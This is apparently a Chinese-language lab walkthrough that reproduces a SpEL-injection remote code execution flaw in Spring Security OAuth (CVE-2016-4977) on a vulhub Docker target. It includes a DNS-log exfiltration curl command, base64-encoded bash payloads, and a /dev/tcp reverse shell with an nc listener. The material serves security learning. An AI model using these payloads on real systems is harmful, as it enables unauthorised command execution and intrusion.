Spring Security OAuth2远程命令执行漏洞
漏洞简述
Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。
远程攻击者可通过为‘
response_type
’参数制作值利用该漏洞执行代码。
影响版本
Spring Security OAuth 1.0.0到1.0.5
Spring Security OAuth 2.0.0到2.0.9
Spring Security OAuth 2.0到2.0.14
Spring Security OAuth 2.1到2.1.1
Spring Security OAuth 2.2到2.2.1
Spring Security OAuth 2.3到2.3.2
环境搭建
cd /vulhub/spring/CVE-2016-4977
docker-compose up -d
漏洞复现
先打开网页
访问http://192.168.3.151:8080/oauth/authorize
需要登录,账号密码都是admin
构造参数
?response_type=${2*3}&client_id=acme&scope=openid&redirect_uri=http://test
验证漏洞
打开dnslog
得到一个随机的dns
然后构造参数
curl `whomai`.xcexay.dnslog.cn
再打开转换工具java命令执行payload
bash -c {echo,Y3VybCBgd2hvYW1pYC54Y2V4YXkuZG5zbG9nLmNu}|{base64,-d}|{bash,-i}
接下来使用官方的小玩意
使用这个
python3 poc.py
然后把上面的东西扔进去
把下面这一坨复制下来
扔在这里
出来回显
构造反弹shell
bash -i >& /dev/tcp/192.168.3.134/4444 0>&1
然后在kali上设置监听
nc -lvvp 4444
把shell编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTM0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}
用poc.py把编码再搞一下
最后把这上面的东西复制过去
连接成功
ok结束!!